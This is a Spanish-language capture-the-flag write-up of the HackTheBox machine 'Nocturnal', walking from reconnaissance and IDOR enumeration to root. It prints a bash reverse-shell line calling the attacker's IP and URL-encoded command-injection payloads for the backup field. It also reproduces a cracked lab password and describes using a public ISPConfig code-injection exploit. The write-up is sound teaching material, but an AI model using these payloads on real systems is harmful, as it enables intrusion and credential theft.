// 01
Reconocimiento
El primer paso siempre es verificar que la máquina objetivo está activa y tiene conectividad con nuestra interfaz de red VPN de HackTheBox. Para eso usamos ping con el flag -c 3 que limita el envío a solo 3 paquetes ICMP (sin ese flag el ping sería infinito). El objetivo es confirmar que la IP 10.129.6.36 responde antes de gastar tiempo escaneando.
Un TTL de 63 en la respuesta es una pista importante: los sistemas Linux suelen responder con TTL 64, y al pasar por un hop de red baja a 63. Si hubiera sido 127–128, estaríamos ante Windows. Esto nos da una primera confirmación de que es Linux, lo que coincide con la descripción de la máquina.
Con conectividad confirmada, lanzamos un escaneo exhaustivo con nmap. Desglosando cada flag del comando:
-p- escanea los 65,535 puertos TCP en lugar de solo los 1,000 más comunes. Muchos servicios interesantes corren en puertos no estándar y se pierden con un escaneo básico. Es más lento pero no deja nada sin revisar.
-sSCV es la combinación de tres flags: -sS (SYN scan, el más sigiloso — envía solo el paquete SYN sin completar el handshake TCP, más rápido y menos ruidoso que un connect scan), -sC (ejecuta los scripts por defecto de NSE — Nmap Scripting Engine — que detectan configuraciones, banners y vulnerabilidades básicas), y -sV (detecta la versión exacta del servicio en cada puerto abierto). La razón de combinarlos es que con una sola pasada obtenemos puertos, servicios y scripts sin hacer múltiples escaneos.
-n desactiva la resolución DNS. Cuando nmap intenta resolver IPs a nombres de dominio, añade latencia. En un entorno de laboratorio esto es innecesario y ralentiza el escaneo.
-Pn deshabilita el ping previo al escaneo (host discovery).
Por defecto nmap primero comprueba si el host está activo. En algunas máquinas HTB el
firewall bloquea ICMP pero los puertos están abiertos: sin -Pn
nmap asumiría que el host está caído y no escanearía. Ya verificamos conectividad con ping
manualmente, así que lo omitimos con seguridad.
--min-rate=5000 fuerza a nmap a enviar al menos 5,000 paquetes por segundo. Acelera significativamente el escaneo de 65,535 puertos, pasando de varios minutos a menos de un minuto. Aceptable en entornos de laboratorio.
--open muestra solo los puertos en estado abierto, filtrando los cerrados y filtrados para que la salida sea limpia y fácil de analizar.
-oX nocturnal.xml guarda los resultados en formato XML.
Este formato estructurado permite transformarlo después con herramientas como
xsltproc en un HTML
visual y legible, útil para reportes.
// ANÁLISIS DE RESULTADOS
Solo 2 puertos abiertos: 22 (SSH) con OpenSSH 8.2p1 y 80 (HTTP) con nginx 1.18.0. La línea crítica es http-title: Did not follow redirect to http://nocturnal.htb/ — nmap detectó que el servidor redirige a un dominio virtual nocturnal.htb, no a la IP. Esto nos indica que el servidor usa Virtual Hosting y necesitamos configurar nuestro sistema para resolver ese dominio antes de acceder al sitio.
xsltproc es un procesador de hojas de estilo XSLT. Nmap incluye
una hoja de estilo (/usr/share/nmap/nmap.xsl)
que transforma el XML de salida en un HTML tabular con colores, legible en cualquier
navegador. Esto es especialmente útil para incluir en reportes o para revisar resultados
de escaneos grandes de forma cómoda.
// 02
Configurar /etc/hosts
El servidor nginx usa Virtual Hosting: sirve diferente contenido según el
valor del header Host
de la petición HTTP. Si accedemos directamente por IP, nginx no reconoce qué sitio servir
y redirige al dominio correcto. Como nocturnal.htb no existe
en DNS público (es un dominio ficticio de HTB), debemos decirle manualmente a nuestro
sistema cómo resolverlo.
El archivo /etc/hosts es el resolver DNS local del sistema
operativo — se consulta antes que cualquier servidor DNS externo. Al agregar la línea
10.129.6.36 nocturnal.htb,
cualquier petición a ese dominio va directo a la IP de la máquina sin pasar por DNS.
Requiere sudo porque /etc/hosts es un archivo del sistema.
// VIRTUAL HOSTING — ¿POR QUÉ IMPORTA?
Un servidor puede alojar múltiples sitios web en la misma IP usando Virtual Hosting. nginx decide qué sitio mostrar leyendo el header Host de cada petición HTTP. Si accedemos por IP (10.129.6.36), el header Host es la IP y nginx no encuentra coincidencia con "nocturnal.htb", por eso redirige. Al configurar /etc/hosts, el navegador envía Host: nocturnal.htb y nginx sirve el sitio correcto.
// 03
Exploración Web · Puerto 80
Al acceder a http://nocturnal.htb encontramos una aplicación web llamada Nocturnal, una plataforma para subir y compartir documentos. El primer paso es entender cómo funciona la aplicación desde adentro: para eso nos registramos con credenciales genéricas (test:123). No nos interesa la cuenta en sí — nos interesa observar el comportamiento de la aplicación, especialmente las URLs que genera y cómo referencia archivos y usuarios.
Al subir un archivo de prueba (prueba_nocturnal.odt)
observamos que la URL para visualizarlo tiene la forma:
nocturnal.htb/view.php?username=test&file=prueba_nocturnal.odt
La aplicación acepta solo tipos de archivo específicos: pdf, doc, docx, xls, xlsx, odt. Cualquier otro tipo es rechazado con el mensaje "Invalid file type". Esto es relevante más adelante para el bypass de subida de shell.
// VULNERABILIDAD DETECTADA — IDOR EN view.php
El parámetro username en la URL view.php?username=test&file=...
es controlado por el usuario. La aplicación no verifica que el usuario autenticado coincida
con el username pedido. Esto permite acceder a los archivos de cualquier otro
usuario simplemente cambiando el valor del parámetro. Esto se llama
IDOR (Insecure Direct Object Reference).
// 04
IDOR · Enumeración de Usuarios con wfuzz
Antes de lanzar el fuzzing, necesitamos la cookie de sesión activa del usuario test. La aplicación usa PHP sessions con la cookie PHPSESSID. Sin esta cookie, las peticiones serían redirigidas al login (HTTP 302) y no obtendríamos respuestas útiles. La extraemos desde el DevTools del navegador (F12 → Application → Cookies). El valor obtenido es 6cjdvlm1gveogr1fogib0m1d6v.
wfuzz es un fuzzer web: reemplaza la palabra clave
FUZZ en la URL
por cada línea de un wordlist y analiza las respuestas. Desglosando los flags:
-c activa la salida con colores, facilitando la lectura visual.
-w /usr/share/wordlists/seclists/Usernames/Names/names.txt especifica el wordlist de nombres a probar. Este archivo de SecLists contiene miles de nombres comunes en inglés, ideal para enumerar usernames en aplicaciones web.
--hc=404,302 significa hide codes: oculta respuestas con código HTTP 404 (archivo no encontrado) y 302 (redirección al login — usuarios no existentes). Solo veremos respuestas 200, que indican un username válido que tiene archivos.
-b "PHPSESSID=..." pasa la cookie de sesión en cada petición, simulando que somos el usuario test autenticado.
--hh=2985 significa hide chars: oculta respuestas con exactamente 2,985 caracteres. Este valor corresponde al tamaño de la página cuando el archivo no existe para ese usuario ("File does not exist"). Al ocultarlo, solo vemos usuarios que tienen el archivo prueba_nocturnal.odt listado — es decir, usuarios reales registrados con archivos en el sistema.
// ¿POR QUÉ USAMOS EL ARCHIVO QUE SUBIMOS COMO REFERENCIA?
La técnica de wfuzz aquí es inteligente: como sabemos que nosotros subimos "prueba_nocturnal.odt", un usuario inexistente o que no tiene ese archivo devuelve la página de "File does not exist" con un tamaño fijo de 2,985 caracteres. Al filtrar ese tamaño con --hh=2985, solo emergen los usuarios reales del sistema que tienen archivos propios listados. Encontramos tres: admin, amanda y tobias.
// 05
Credenciales de Amanda · IDOR Explotado
Ahora que sabemos que amanda es un usuario real, explotamos
el IDOR navegando manualmente a su directorio de archivos. Simplemente cambiamos el
parámetro username=test
por username=amanda
en la URL. La aplicación nos muestra sus archivos sin validar que tengamos permiso para verlos.
Vemos que Amanda tiene un archivo llamado privacy.odt.
Cambiamos también el parámetro file
para descargarlo. Al abrirlo, encontramos una carta del equipo de TI de Nocturnal con
una contraseña temporal asignada a Amanda.
// 06
Panel de Admin · Source Code
Al autenticarnos con las credenciales de Amanda observamos que su dashboard tiene un enlace Go to Admin Panel que no aparecía con el usuario test. Esto confirma que Amanda tiene privilegios de administrador en la aplicación web.
En el código fuente de la página (CTRL+U) podemos ver que el panel admin está en
/admin.php. El
Admin Panel expone dos funcionalidades críticas: un File Viewer que
permite leer el contenido de los archivos PHP del servidor, y una función de
Create Backup con un campo de contraseña. Esta segunda funcionalidad
es donde reside la siguiente vulnerabilidad.
// LECTURA DE CÓDIGO FUENTE
El File Viewer nos permite leer el código PHP del servidor directamente desde el navegador.
Al leer dashboard.php, encontramos la ruta a la base de datos SQLite:
$db = new SQLite3('../nocturnal_database/nocturnal_database.db');
y confirmamos que los tipos de archivo permitidos son: pdf, doc, docx, xls, xlsx, odt.
Esta información es vital para planear el bypass de la subida de la reverse shell.
// 07
Command Injection · Función Backup
Burp Suite es un proxy de interceptación HTTP: se sienta entre nuestro navegador y el servidor, capturando y permitiendo modificar cada petición antes de enviarla. El Repeater de Burp es una herramienta que permite reenviar peticiones HTTP manualmente con las modificaciones que queramos, sin tener que repetir la acción en el navegador. Es ideal para probar inyecciones de forma iterativa.
Al crear un backup desde el Admin Panel, Burp captura el POST a
/admin.php con
el body: password=...&backup=.
El parámetro password se pasa a un comando del sistema operativo
(probablemente a zip con contraseña) sin ser sanitizado — aquí está la
inyección de comandos.
En sistemas Linux, el carácter nueva línea (\n) termina un comando y permite iniciar otro. Al codificarlo en URL como %0a, logramos que el servidor ejecute comandos adicionales después del comando original de backup.
El payload password=%0als&backup= funciona así: el servidor
ejecuta algo como zip -P <password> backup.zip ..., pero al recibir
%0a (newline) seguido de ls, el shell interpreta que es un
nuevo comando. El resultado de ls se devuelve en la respuesta HTTP, confirmando
la inyección.
Para listar con detalle el contenido de uploads/ usamos:
password=%0als%09-l%09uploads&backup=
donde %09 es el tabulador en URL-encoding (equivale al
espacio, pero los espacios a veces se filtran en el campo password). Confirmamos que
el archivo shell.pdf está en el directorio uploads.
// ¿POR QUÉ %0a Y %09?
%0a es el caracter de nueva línea (LF, ASCII 10) en URL-encoding. En un shell Unix, la nueva línea separa comandos — permite inyectar un segundo comando. %09 es el tabulador (ASCII 9), que bash acepta como separador de argumentos igual que el espacio. Se usa en lugar del espacio (%20) porque algunos filtros rechazan espacios en campos de contraseña pero permiten tabuladores. Esta técnica de evasión de filtros usando caracteres alternativos de separación es estándar en CTFs.
// 08
Reverse Shell · Acceso Inicial
La aplicación solo acepta archivos con extensiones pdf, doc, docx, xls, xlsx, odt, pero el servidor no verifica el contenido real del archivo, solo la extensión. Aprovechamos esto creando un script bash con extensión .pdf: el servidor lo acepta creyendo que es un PDF, pero en realidad es código bash ejecutable.
El contenido del "PDF" es una reverse shell bash:
bash -c 'bash -i >& /dev/tcp/10.10.16.5/443 0>&1'.
Desglosando: bash -i abre una shell interactiva.
>& /dev/tcp/IP/PUERTO redirige tanto stdout como stderr
hacia una conexión TCP a nuestra IP en el puerto 443. 0>&1
redirige también stdin, completando el canal bidireccional. El resultado: cuando el servidor
ejecuta este script, bash abre una conexión de vuelta a nuestra máquina y nosotros recibimos
una shell interactiva del servidor.
El puerto 443 se usa estratégicamente: es el puerto estándar de HTTPS y raramente está bloqueado por firewalls. Hay que tener el listener activo antes de ejecutar la shell.
nc -lvnp 443 inicia netcat en modo escucha: -l = listen, -v = verbose, -n = no resolución DNS, -p 443 = puerto. Netcat espera una conexión entrante y cuando llega, la conecta a nuestra terminal.
Con el listener activo, inyectamos el comando para ejecutar la shell desde Burp:
password=%0abash%09uploads/shell.pdf&backup=.
El servidor ejecuta bash uploads/shell.pdf, que activa la reverse shell hacia
nuestro listener. Obtenemos acceso como www-data — el usuario
bajo el cual corre el servidor web nginx/PHP.
// 09
SQLite · Extracción de Hashes
Desde el código fuente leído en el Admin Panel sabemos que la base de datos está en ../nocturnal_database/nocturnal_database.db relativo al directorio web. Como www-data tenemos permisos de lectura sobre ese archivo. sqlite3 es el cliente de línea de comandos para bases de datos SQLite.
Con .tables listamos las tablas disponibles. Encontramos users y uploads. La consulta select * from users; nos devuelve todos los registros, incluyendo los hashes MD5 de las contraseñas de todos los usuarios.
Las contraseñas están hasheadas con MD5 (sin salt — hash de longitud 32 caracteres hexadecimales). MD5 es un algoritmo de hash antiguo y roto: existen bases de datos de miles de millones de hashes precomputados llamadas rainbow tables. CrackStation.net es una de las más completas y gratuitas.
El hash de tobias es
55c82b1ccd55ab219b3b109b07d5061d.
Al buscarlo en CrackStation obtenemos la contraseña en texto plano:
slowmotionapocalypse.
Nos enfocamos en tobias porque al revisar /etc/passwd confirmamos que es el
único usuario del sistema con shell bash (tobias:x:1000:1000:tobias:/home/tobias:/bin/bash)
además de root.
// 10
SSH · Acceso como Tobias
Con las credenciales obtenidas nos conectamos por SSH al puerto 22. SSH (Secure Shell) nos da una shell completamente interactiva, mucho más estable y funcional que la reverse shell de netcat. En el home de tobias encontramos el archivo user.txt con la primera flag.
Como tobias, buscamos servicios que estén corriendo internamente pero no expuestos externamente. netstat -tlnp muestra conexiones TCP en escucha: -t = TCP, -l = solo listening, -n = sin resolución de nombres, -p = mostrar el proceso (aunque como no somos root no veremos todos los PIDs).
Encontramos el puerto 8080 escuchando únicamente en
127.0.0.1
(localhost). Esto significa que hay un servicio web accesible solo desde el propio
servidor, no desde el exterior. Para acceder a él desde nuestra máquina atacante
necesitamos hacer un SSH Port Forwarding.
// 11
SSH Local Port Forwarding
El SSH Local Port Forwarding (flag -L) crea un túnel encriptado: redirige el tráfico de un puerto local de nuestra máquina a través de la conexión SSH hacia un puerto de la máquina remota.
El formato es -L puerto_local:host_remoto:puerto_remoto.
En nuestro caso: -L 9000:127.0.0.1:8080 significa "mapea
el puerto 9000 de mi máquina local al puerto 8080 de 127.0.0.1 (localhost del servidor)
a través de la conexión SSH". El resultado: al acceder a
http://127.0.0.1:9000
en nuestro navegador, llegamos al servicio en el puerto 8080 del servidor remoto.
Usamos el puerto local 9000 (arbitrario) porque el 8080 puede estar en uso en nuestra máquina. El puerto 443 del servidor también podría usarse, pero 9000 es un valor genérico sin conflictos.
// ¿CÓMO FUNCIONA EL TUNNEL?
Sin tunnel: Nuestra máquina → Internet → Servidor (puerto 80 OK, puerto 8080 ❌ solo localhost)
Con tunnel: Nuestra máquina :9000 → SSH encriptado → Servidor → 127.0.0.1:8080 ✅
El tunnel convierte un servicio interno del servidor en uno accesible desde nuestra máquina.
Es una técnica esencial en pentesting para pivotar hacia servicios internos.
// 12
ISPConfig · CVE-2023-46818
Al acceder a http://127.0.0.1:9000 encontramos el panel de login de ISPConfig, una plataforma open-source para administración de hosting web (gestión de sitios, DNS, email, etc.). La primera pregunta es: ¿qué versión? Navegamos a Monitor → System State y vemos ISPConfig 3.2.10p1.
Probamos las credenciales de tobias (admin:slowmotionapocalypse) en ISPConfig y funcionan — el usuario reutilizó la misma contraseña. Esto es una mala práctica de seguridad común y nos da acceso administrativo al panel.
Con la versión exacta, buscamos vulnerabilidades conocidas. Encontramos
CVE-2023-46818: una vulnerabilidad de
PHP Code Injection en el endpoint
/admin/language_edit.php.
El parámetro records del POST no es sanitizado correctamente, permitiendo
inyectar código PHP arbitrario que se escribe en un archivo y luego se ejecuta en el
servidor. Como ISPConfig corre con privilegios de root,
cualquier código inyectado se ejecuta como root.
Existe un exploit público en GitHub (ajdumanhug/CVE-2023-46818) que automatiza el proceso: hace login, obtiene los tokens CSRF necesarios, inyecta el payload PHP y abre una shell interactiva.
// 13
Root Flag · Pwned
El exploit recibe como argumentos: la URL de ISPConfig (por el tunnel es
http://127.0.0.1:9000), el usuario admin y su contraseña.
Internamente el script: hace login con las credenciales, extrae los tokens
CSRF (mecanismo anti-CSRF que ISPConfig implementa para validar peticiones
legítimas), envía el payload de code injection con los tokens válidos, escribe un webshell
PHP en /admin/sh.php
y finalmente lanza una shell interactiva a través de ese webshell.
La confirmación llega con whoami → root. Leemos la root flag
en /root/root.txt.
// RESUMEN DEL FLUJO DE ATAQUE
1. IDOR → acceso no autorizado a archivos de otros usuarios via view.php
2. Credential Exposure → contraseña de amanda en archivo ODT
3. Command Injection → ejecución de comandos en el backup del admin
4. Reverse Shell → bypass de filtro de extensiones con shell.pdf
5. SQLite Hash Dump → credenciales de tobias crackeadas con CrackStation
6. SSH Tunneling → pivoteo al ISPConfig interno en puerto 8080
7. CVE-2023-46818 → PHP Code Injection → root
// 14
Referencia de Comandos
- -p- → todos los 65,535 puertos TCP
- -sS → SYN scan (sigiloso)
- -sC → scripts NSE por defecto
- -sV → detección de versiones
- -n → sin resolución DNS
- -Pn → sin ping previo
- --min-rate=5000 → velocidad mínima
- --open → solo puertos abiertos
- -oX → salida en XML
- -c → colores en salida
- -w → wordlist a usar
- --hc → ocultar por código HTTP
- -b → cookie de sesión
- --hh → ocultar por número de chars
- FUZZ → punto de inyección
- -L → Local port forwarding
- 9000 → puerto en nuestra máquina
- 127.0.0.1:8080 → destino en el servidor
- usuario@IP → credenciales SSH
- .tables → listar tablas
- .schema → ver estructura
- select * from tabla; → volcar datos
- .quit → salir
- -l → modo escucha (listen)
- -v → verbose
- -n → sin resolución DNS
- -p → puerto a escuchar
- nmap.xsl → hoja de estilo de nmap
- output.xml → resultados del escaneo
- > output.html → redireccionar a HTML
// 15
Glosario Técnico
username en view.php permite acceder a los archivos de
cualquier usuario sin autorización. IDOR es parte del Top 10 de OWASP y es una de las
vulnerabilidades más comunes en aplicaciones web modernas.
password del backup se concatenaba directamente a un comando shell.
Al insertar %0a (newline), el shell interpretaba el input como dos comandos
separados. El caracter %0a actúa como terminador del primer comando e
iniciador del segundo. Esta vulnerabilidad permite ejecutar comandos arbitrarios con
los privilegios del proceso web.
bash -i >& /dev/tcp/IP/PORT 0>&1 redirige stdin, stdout y
stderr de bash a través de una conexión TCP a la IP y puerto del atacante, que tiene
un listener (netcat) esperando. El resultado es una terminal interactiva remota.
Host para
distinguirlos. Cuando el navegador hace una petición, incluye el dominio al que se
conecta en el header Host. El servidor lee ese header y sirve el sitio correspondiente.
Sin el dominio correcto en /etc/hosts, el navegador enviaría la IP como Host y el
servidor no sabría qué sitio mostrar.
-L) crea un túnel
encriptado que redirige el tráfico de un puerto local a un host y puerto accesible
desde el servidor SSH remoto. Es la técnica de pivoting más básica: permite
acceder a servicios internos de un servidor (que solo escuchan en localhost o en redes
internas) a través de la conexión SSH ya establecida. Fue fundamental en Nocturnal
para acceder a ISPConfig corriendo en el puerto 8080 interno.
/admin/language_edit.php recibe un
parámetro records que se escribe directamente en un archivo PHP sin
sanitizar. Un atacante autenticado como admin puede inyectar código PHP arbitrario,
que al ser ejecutado por el servidor corre con los privilegios del proceso ISPConfig
(normalmente root). El exploit automatiza la obtención de tokens CSRF válidos y la
entrega del payload, resultando en ejecución de código remoto como root.